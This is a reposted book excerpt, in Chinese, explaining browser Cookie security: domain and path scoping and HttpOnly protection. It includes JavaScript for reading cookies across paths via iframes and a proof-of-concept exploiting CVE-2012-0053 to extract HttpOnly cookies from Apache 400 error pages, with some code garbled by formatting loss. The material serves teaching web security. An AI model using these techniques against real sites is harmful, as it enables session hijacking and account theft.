Cookie安全

broadviewbj發表於2013-02-21

Cookie安全

Cookie是一個神奇的機制,同域內瀏覽器中發出的任何一個請求都會帶上Cookie,無論請求什麼資源,請求時,Cookie出現在請求頭的Cookie欄位中。服務端響應頭的Set-Cookie欄位可以新增、修改和刪除Cookie,大多數情況下,客戶端透過JavaScript也可以新增、修改和刪除Cookie。

由於這樣的機制,Cookie經常被用來儲存使用者的會話資訊,比如,使用者登入認證後的Session,之後同域內發出的請求都會帶上認證後的會話資訊,非常方便。所以,攻擊者就特別喜歡盜取Cookie,這相當於盜取了在目標網站上的使用者許可權。

Cookie的重要欄位如下:

[name][value][domain][path][expires][httponly][secure]

其含義依次是:名稱、值、所屬域名、所屬相對根路徑、過期時間、是否有HttpOnly標誌、是否有Secure標誌。這些欄位用好了,Cookie就是安全的,下面對關鍵的欄位進行說明。

1.子域Cookie機制

這是domain欄位的機制,設定Cookie時,如果不指定domain的值,預設就是本域。例如,a.foo.com域透過JavaScript來設定一個Cookie,語句如下:

document.cookie="test=1";

那麼,domain值預設為a.foo.com。有趣的是,a.foo.com域設定Cookie時,可以指定domain為父級域,比如:

document.cookie="test=1;domain=foo.com";

此時,domain就變為foo.com,這樣帶來的好處就是可以在不同的子域共享Cookie,壞處也很明顯,就是攻擊者控制的其他子域也能讀到這個Cookie。另外,這個機制不允許設定Cookie的domain為下一級子域或其他外域。

2.路徑Cookie機制

這是path欄位的機制,設定Cookie時,如果不指定path的值,預設就是目標頁面的路徑。例如,a.foo.com/admin/index.php頁面透過JavaScript來設定一個Cookie,語句如下:

document.cookie="test=1";

path值就是/admin/。透過指定path欄位,JavaScript有許可權設定任意Cookie到任意路徑下,但是隻有目標路徑下的頁面JavaScript才能讀取到該Cookie。那麼有什麼辦法跨路徑讀取Cookie?比如,/evil/路徑想讀取/admin/路徑的Cookie。很簡單,透過跨iframe進行DOM操作即可,/evil/路徑下頁面的程式碼如下:

xc = function(src){

    var o = document.createElement("iframe"); // iframe進入同域的目標頁面

    o.src = src;

    document.getElementsByTagName("body")[0].appendChild(o);

    o.onload = function(){ // iframe載入完成後

        d = o.contentDocument || o.contentWindow.document;
// 獲取document物件

        alert(d.cookie); // 獲取cookie

    };

}('');

所以,透過設定path不能防止重要的Cookie被盜取。

3.HttpOnly Cookie機制

顧名思義,HttpOnly是指僅在HTTP層面上傳輸的Cookie,當設定了HttpOnly標誌後,客戶端指令碼就無法讀寫該Cookie,這樣能有效地防禦XSS攻擊獲取Cookie。以PHP setcookie為例,httponly.php檔案程式碼如下:

setcookie("test", 1, time()+3600, "", "", 0); // 設定普通Cookie

setcookie("test_http", 1, time()+3600, "", "", 0, 1);
// 第7個引數(這裡的最後一個)是HttpOnly標誌,0為關閉,1為開啟,預設為0

?>

請求這個檔案後,設定了兩個Cookie,如圖2-2所示。

 

圖2-2  設定的Cookie值

其中,test_http是HttpOnly Cookie。有什麼辦法能獲取到HttpOnly Cookie?如果服務端響應的頁面有Cookie除錯資訊,很可能就會導致HttpOnly Cookie的洩漏。比如,以下資訊。

(1)PHP的phpinfo()資訊,如圖2-3所示。

 

圖2-3  phpinfo()資訊

(2)Django應用的除錯資訊,如圖2-4所示。

 

圖2-4  Django除錯資訊

(3)CVE-2012-0053關於Apache Http Server 400錯誤暴露HttpOnly Cookie,描述如下:

Apache HTTP Server 2.2.x多個版本沒有嚴格限制HTTP請求頭資訊,HTTP請求頭資訊超過LimitRequestFieldSize長度時,伺服器返回 400(Bad Request)錯誤,並在返回資訊中將出錯的請求頭內容輸出(包含請求頭裡的HttpOnly Cookie),攻擊者可以利用這個缺陷獲取HttpOnly Cookie。

可以透過技巧讓Apache報400錯誤,例如,如下POC(Proof of Concept,為觀點提供證據):

/* POC來自:

d3fde02b7fb08

 

大多數瀏覽器限制Cookies最大為4kB,我們設定為更大,讓請求頭長度超過Apache的LimitRequestFieldSize,從而引發400錯誤。

*/

function setCookies (good) {

    var str = "";

    for (var i=0; i< 819; i++) {

        str += "x";

    }

    for (i = 0; i < 10; i++) {

        if (good) { // 清空垃圾Cookies

            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).                                toUTCString()+"; path=/;";

        }

        // 新增垃圾Cookies

        else {

            var cookie = "xss"+i+"="+str+";path=/";

        }

        document.cookie = cookie;

    }

}

 

function makeRequest() {

    setCookies(); // 新增垃圾Cookies

    function parseCookies () {

        var cookie_dict = {};

        // 僅當處於400狀態時

        if (xhr.readyState === 4 && xhr.status === 400) {

            // 替換掉回車換行字元,然後匹配出

程式碼段裡的內容

            var content = xhr.responseText.replace(/\r|\n/g,'').match                                  (/

(.+)/);

            if (content.length) {

                // 替換“Cookie: ”字首

                content = content[1].replace("Cookie: ", "");

                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);

               

                for (var i=0; i

                    var s_c = cookies[i].split('=',2);

                    cookie_dict[s_c[0]] = s_c[1];

                }

            }

            setCookies(true); // 清空垃圾Cookies

            alert(JSON.stringify(cookie_dict)); // 得到HttpOnly Cookie

        }

    }

    // 針對目標頁面發出xhr請求,請求會帶上垃圾Cookies

    var xhr = new XMLHttpRequest();

    xhr.onreadystatechange = parseCookies;

    xhr.open("GET", "httponly.php", true);

    xhr.send(null);

}

makeRequest();

 

apache 400 httponly cookie poc

請求這個POC時,發出的請求頭資訊如圖2-5所示。

 

圖2-5  POC發出的請求頭資訊

此時,httponly.php(其程式碼在前面已給出)會出現400錯誤,導致HttpOnly Cookie洩漏,如圖2-6所示。

 

圖2-6  Apache 400錯誤報出的HttpOnly Cookie

上面的幾個例子中,服務端響應洩漏了HttpOnly Cookie應該算是一種漏洞,需謹慎對待,否則XSS會輕易獲取到同域內的HttpOnly Cookie。

 

本文節選自《web前端駭客技術揭秘》

鍾晨鳴,徐少培編著

電子工業出版社出版

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/13164110/viewspace-754460/,如需轉載,請註明出處,否則將追究法律責任。

相關文章